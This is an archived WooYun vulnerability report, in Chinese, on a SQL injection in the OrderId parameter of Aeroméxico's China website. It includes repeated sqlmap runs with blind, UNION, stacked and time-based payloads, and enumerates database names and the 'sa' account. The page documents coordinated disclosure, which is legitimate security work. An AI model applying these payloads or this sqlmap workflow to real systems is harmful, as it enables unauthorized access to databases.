当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159264

漏洞标题:墨西哥航空公司中国官网一处SQL注入

相关厂商:墨西哥航空公司

漏洞作者: 路人甲

提交时间:2015-12-10 18:01

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-10: 细节已通知厂商并且等待厂商处理中
2015-12-14: 厂商已经确认,细节仅向厂商公开
2015-12-24: 细节向核心白帽子及相关领域专家公开
2016-01-03: 细节向普通白帽子公开
2016-01-13: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

RT

详细说明:

注入处:**.**.**.**/banner/smSmallbanner.aspx?OrderId=25

漏洞证明:

[root@Hacker~]# Sqlmap -u **.**.**.**/banner/smSmallbanner.aspx?OrderId=25
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:53:12
[10:53:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:53:12] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: OrderId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: OrderId=25' AND 1341=1341 AND 'wRRx'='wRRx
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: OrderId=-1911' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
NULL, CHAR(58)+CHAR(121)+CHAR(109)+CHAR(115)+CHAR(58)+CHAR(111)+CHAR(105)+CHAR(
97)+CHAR(99)+CHAR(102)+CHAR(98)+CHAR(121)+CHAR(75)+CHAR(102)+CHAR(120)+CHAR(58)+
CHAR(114)+CHAR(101)+CHAR(101)+CHAR(58), NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: OrderId=25'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: OrderId=25' WAITFOR DELAY '0:0:5'--
---
[10:53:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
[10:53:17] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:53:17] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'


[root@Hacker~]# Sqlmap -u **.**.**.**/banner/smSmallbanner.aspx?OrderId=25
--dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:53:23
[10:53:23] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:53:23] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: OrderId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: OrderId=25' AND 1341=1341 AND 'wRRx'='wRRx
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: OrderId=-1911' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
NULL, CHAR(58)+CHAR(121)+CHAR(109)+CHAR(115)+CHAR(58)+CHAR(111)+CHAR(105)+CHAR(
97)+CHAR(99)+CHAR(102)+CHAR(98)+CHAR(121)+CHAR(75)+CHAR(102)+CHAR(120)+CHAR(58)+
CHAR(114)+CHAR(101)+CHAR(101)+CHAR(58), NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: OrderId=25'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: OrderId=25' WAITFOR DELAY '0:0:5'--
---
[10:53:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
[10:53:26] [INFO] fetching database names
[10:53:26] [INFO] the SQL query used returns 19 entries
[10:53:26] [INFO] resumed: "cnokgo"
[10:53:26] [INFO] resumed: "DropTankDB"
[10:53:26] [INFO] resumed: "Ethiopian"
[10:53:26] [INFO] resumed: "EthiopianTest"
[10:53:26] [INFO] resumed: "F2F7"
[10:53:26] [INFO] resumed: "FeiRenRewardDb"
[10:53:26] [INFO] resumed: "GSSPnrLog"
[10:53:26] [INFO] resumed: "GTSRewardDb"
[10:53:26] [INFO] resumed: "IC"
[10:53:26] [INFO] resumed: "master"
[10:53:26] [INFO] resumed: "MexiCo"
[10:53:26] [INFO] resumed: "model"
[10:53:26] [INFO] resumed: "msdb"
[10:53:26] [INFO] resumed: "PuSoft"
[10:53:26] [INFO] resumed: "SearchDataLog"
[10:53:26] [INFO] resumed: "SearchDataLogTest"
[10:53:26] [INFO] resumed: "SHTB"
[10:53:26] [INFO] resumed: "tempdb"
[10:53:26] [INFO] resumed: "tengbang"
available databases [19]:
[*] cnokgo
[*] DropTankDB
[*] Ethiopian
[*] EthiopianTest
[*] F2F7
[*] FeiRenRewardDb
[*] GSSPnrLog
[*] GTSRewardDb
[*] IC
[*] master
[*] MexiCo
[*] model
[*] msdb
[*] PuSoft
[*] SearchDataLog
[*] SearchDataLogTest
[*] SHTB
[*] tempdb
[*] tengbang
[10:53:26] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:53:26] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'


[root@Hacker~]# Sqlmap -u **.**.**.**/banner/smSmallbanner.aspx?OrderId=25
--current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:53:36
[10:53:36] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:53:36] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: OrderId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: OrderId=25' AND 1341=1341 AND 'wRRx'='wRRx
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: OrderId=-1911' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
NULL, CHAR(58)+CHAR(121)+CHAR(109)+CHAR(115)+CHAR(58)+CHAR(111)+CHAR(105)+CHAR(
97)+CHAR(99)+CHAR(102)+CHAR(98)+CHAR(121)+CHAR(75)+CHAR(102)+CHAR(120)+CHAR(58)+
CHAR(114)+CHAR(101)+CHAR(101)+CHAR(58), NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: OrderId=25'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: OrderId=25' WAITFOR DELAY '0:0:5'--
---
[10:53:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
[10:53:37] [INFO] fetching current database
current database: 'MexiCo'
[10:53:37] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:53:37] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'


[root@Hacker~]# Sqlmap -u **.**.**.**/banner/smSmallbanner.aspx?OrderId=25
--current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:53:47
[10:53:48] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:53:48] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: OrderId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: OrderId=25' AND 1341=1341 AND 'wRRx'='wRRx
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: OrderId=-1911' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
NULL, CHAR(58)+CHAR(121)+CHAR(109)+CHAR(115)+CHAR(58)+CHAR(111)+CHAR(105)+CHAR(
97)+CHAR(99)+CHAR(102)+CHAR(98)+CHAR(121)+CHAR(75)+CHAR(102)+CHAR(120)+CHAR(58)+
CHAR(114)+CHAR(101)+CHAR(101)+CHAR(58), NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: OrderId=25'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: OrderId=25' WAITFOR DELAY '0:0:5'--
---
[10:53:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Microsoft SQL Server 2008
[10:53:48] [INFO] fetching current user
current user: 'sa'
[10:53:48] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:53:48] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'

修复方案:

~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-12-14 17:07

厂商回复:

CNVD确认所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无